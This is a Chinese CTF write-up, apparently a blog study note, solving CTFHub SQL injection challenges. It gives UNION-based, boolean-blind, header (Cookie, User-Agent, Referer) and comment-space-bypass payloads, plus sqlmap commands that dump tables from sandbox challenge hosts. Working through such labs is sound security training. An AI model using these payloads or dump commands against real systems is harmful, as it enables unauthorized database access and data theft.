CTFHUB-WEB-SQL注入
sql学的太不好了,回炉重造
判断 Sql 注入漏洞的类型:
1.数字型
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
2.字符型
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
1.Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
order by判断列数
SQL的Order By语句的详细介绍-51CTO.COM
ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们对查询结果进行排序,让结果更有意义和可读性。我们可以使用列名、列位置和表达式来指定排序的依据,并且可以按照升序或降序进行排序。同时,我们也可以指定多个排序依据,以及按照不同的优先级进行排序。
sql语句闭合
https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html
重要函数
group_concat()函数
GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。
information_schemainformation_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
ctfhub
整数型注入
题目已经说了是整数型注入:
?id=1 and 1=1,有回显
?id=1 and 1=2,无回显,说明有注入点,判断列数
?id=-1 union select 3,database(),查当前数据库

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli" ,查表

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 查列

?id=-1 union select 1,group_concat(flag) from sqli.flag,查字段内容

字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
字符型注入
手注
判断注入类型
?id=1'and '1'='1

?id=1'and '1'='2

判断列数
两列
判断回显位-1' union select 1,2#
-1' union select 1,database()#
查列名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

查字段内容-1' union select 1,(select flag from flag)#

sqlmap注入
查库
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" --dbs -batch

查表
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli --tables
查字段
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag --columns
查字段内容
sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag -C flag --dump

布尔盲注
布尔类型(Boolean type)
布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。
盲注
盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字
手注
判断当前数据库名的长度
1 and length(database())=4

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表
1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值
1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值

匹配表名的ASCII码:
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值
判断字段(列)数:
1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值
sqlmap注入
sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" --dbs
爆库

爆的很慢
sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" -D sqli --tables
爆表

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
爆字段

爆字段内容,得到flag,跑的太慢了

时间盲注
手注的话基本没方法,都是用脚本或者sqlmap还有bp
cthub——时间盲注_ctfhub时间盲注_陈艺秋的博客-CSDN博客
直接就是sqlmap
爆库
qlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -dbs

爆表
sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
爆字段
sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段内容,得到flag
sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump

MySQL结构
还是sqlmap
sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" --dbs

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump

Cookie注入
sqlmap
爆表
sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 --dbs

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli --tables

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab --columns
sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab -C modgbjjxvs --dump

UA注入
CTFHub - UA注入-CSDN博客
有三种方式,一种是bp抓包注入,一种是sqlmap,一种是跑脚本
sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/" --level=3 --dbs

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/" --level=3 -D sqli --tables

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/" --level=3 -D sqli -T nirrlnzyau --columns

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/" --level=3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump
Refer注入
CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客
Referer: 0 union select 1,database()

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='efdlqtawmh'
Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh
空格过滤
常用绕过空格过滤的方法:
/**/、()、%0a
?id=1/**/and/**/1=1

?id=1/**/and/**/1=2,报错了,确定是数字型注入

看回显位
查列数


发现到3没有回显了,一共两列
开始注入,
查库:?id=-1/**/union/**/select/**/1,database()
得到库名:sqli

?id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli' 查表
查字段:?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lyispybtyt'

查字段内容, 得到flag
相关文章:
CTFHUB-WEB-SQL注入
sql学的太不好了,回炉重造 判断 Sql 注入漏洞的类型: 1.数字型 当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id x这种类型可以使用经典的 and 11 和 and 12 来判断ÿ…...
案例分享:某汽车企业通过龙智拓展Jira功能,实现高效项目管理
这家汽车行业的客户缺乏一套系统来支持产品研发过程的管理。他们一直在寻找一款可以覆盖从基本需求到产品开发,再到项目实施等各个阶段的研发管理工具,并且需要这款工具又一定的灵活性,更好地适应并提升现有的业务流程。 通过引入Atlassian的…...
【算法与数据结构】40、LeetCode组合总和 II
文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引,可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析:【算法与数据结构】39、LeetCode组合总和的基础之上,这道题变成了candidates中有重复元素&…...
Flink SQL -- 命令行的使用
1、启动Flink SQL 首先启动Flink的集群,选择独立集群模式或者是session的模式。此处选择是时session的模式:yarn-session.sh -d 在启动Flink SQL的client: sql-client.sh 2、kafka SQL 连接器 在使用kafka作为数据源的时候需要上传jar包到…...
asp.net core把所有接口和实现类批量注入到容器
要将所有接口和实现类批量注入到容器,可以使用反射和循环来实现自动批量注册。下面是一种示例方法: 创建一个扩展方法,用于批量注册接口和实现类。 public static class ServiceCollectionExtensions {public static IServiceCollection Re…...
SPSS曲线回归
前言: 本专栏参考教材为《SPSS22.0从入门到精通》,由于软件版本原因,部分内容有所改变,为适应软件版本的变化,特此创作此专栏便于大家学习。本专栏使用软件为:SPSS25.0 本专栏所有的数据文件请点击此链接下…...
软件之禅(七)面向对象(Object Oriented)
黄国强 2023/11/11 前文提到面向对象构建的模块控制器,根据第一性原理,从图灵机的角度,面向对象不是最基本的元素。那么面向对象是不是不重要呢? 答案是否定的,面向对象非常非常重要。当我们面对一个具体的领域…...
汽车之家车型_车系_配置参数数据抓取
// 导入所需的库 #include <iostream> #include <fstream> #include <string> #include <curl/curl.h> #include <regex>// 声明全局变量 std::string htmlContent; std::regex carModelRegex("\\d{4}-\\d{2}-\\d{2}"); std::regex ca…...
RabbitMQ的 五种工作模型
RabbitMQ 其实一共有六种工作模式: 简单模式(Simple)、工作队列模式(Work Queue)、 发布订阅模式(Publish/Subscribe)、路由模式(Routing)、通配符模式(Topi…...
原型制作神器ProtoPie的使用Unity与网页跨端交互
什么是ProtoPie? ProtoPie是一款面向设计师的软件原型设计工具,例如制作App界面交互展示,制作好的原型可以一键发布到Web服务器,就可以浏览器访问。由于其内置了大量常用交互类型,以及"程序化"模块…...
另辟奚径-Android Studio调用Delphi窗体
大家都知道Delphi能调用安卓SDK,比如jar、aar等, 但是反过来,能在Android Studio中调用Delphi开发的窗体吗? 想想不太可能吧, Delphi用的是Pascal,Android Studio用的是Java,这两个怎么能混用…...
SOLID 原则,程序设计五大原则,设计模式
SOLID 是让软件设计更易于理解、更加灵活和更易于维护的五个原则的简称。 单一职责(Single Responsibility Principle):修改一个类的原因只能有一个。开闭原则(Open/Closed Principle):对于扩展,类应该是“开放”的;对于修改&…...
Java基础——数组(一维数组与二维数组)
文章目录 一维数组声明初始化与赋值内存图解 二维数组声明初始化与赋值内存图解 数组练习 数组是多个相同类型的数据按一定顺序排列的集合。 说明: 数组是引用数据类型,数组的元素是同一类型的任何数据类型,包括基本数据类型和引用数据类型…...
Python爬虫抓取微博数据及热度预测
首先我们需要安装 requests 和 BeautifulSoup 库,可以使用以下命令进行安装: pip install requests pip install beautifulsoup4然后,我们需要导入 requests 和 BeautifulSoup 库: import requests from bs4 import BeautifulSou…...
Qt QTableWidget表格的宽度
默认值 QTableWIdget的表格宽度默认是一个给定值,可以手动调整每列的宽度,也不填满父窗口 MainWindow::MainWindow(QWidget *parent): QMainWindow(parent) {this->resize(800,600);QStringList contents{"11","111111111111",&…...
OpenCV(opencv_apps)在ROS中的视频图像的应用(重点讲解哈里斯角点的检测)
1、引言 通过opencv_apps,你可以在ROS中以最简单的方式运行OpenCV提供的许多功能,也就是说,运行一个与功能相对应的launch启动文件,就可以跳过为OpenCV的许多功能编写OpenCV应用程序代码,非常的方便。 对于想熟悉每个…...
常见排序算法之插入排序类
插入排序,是一种简单直观的排序算法,工作原理是将一个记录插入到已经排好序的有序表中,从而形成一个新的、记录数增1的有序表。在实现过程中,它使用双层循环,外层循环对除了第一个元素之外的所有元素,内层循…...
Dubbo服务消费端远程调用过程剖析
1 Dubbo服务消费端远程调用过程概述 (1)当消费方调用远程服务的方法时,会被InvokerInvocationHandler拦截,执行其invoke()方法,创建RpcInvocation对象; (2)接着会选择远程调用的负…...
华硕荣获“EPEAT Climate+ Champion”永续先驱称号
华硕持续深耕永续理念,努力提供低碳排放、高效能产品,并被全球电子委员会授予“EPEAT Climate Champion”称号。这一荣誉再次表明了华硕在永续管理方面的承诺,并凸显了华硕在追求永续发展上的决心。 华硕通过设立“科学基础减碳目标”、“再生…...
基于QT使用OpenGL,加载obj模型,进行鼠标交互
目录 功能分析(需求分析)技术点分析OpenGL立即渲染模式可编程渲染管线模式 QOpenGLWidget派生类 glwidget逻辑glwidget.hglwidget.cpp 鼠标交互功能obj格式介绍 效果bunnyCayman_GT 功能分析(需求分析) 基于QT平台,使…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...
渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...
【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...
JDK 17 新特性
#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持,不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的ÿ…...
【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式
今天是关于AI如何在教学中增强学生的学习体验,我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育,这并非炒作,而是已经发生的巨大变革。教育机构和教育者不能忽视它,试图简单地禁止学生使…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...

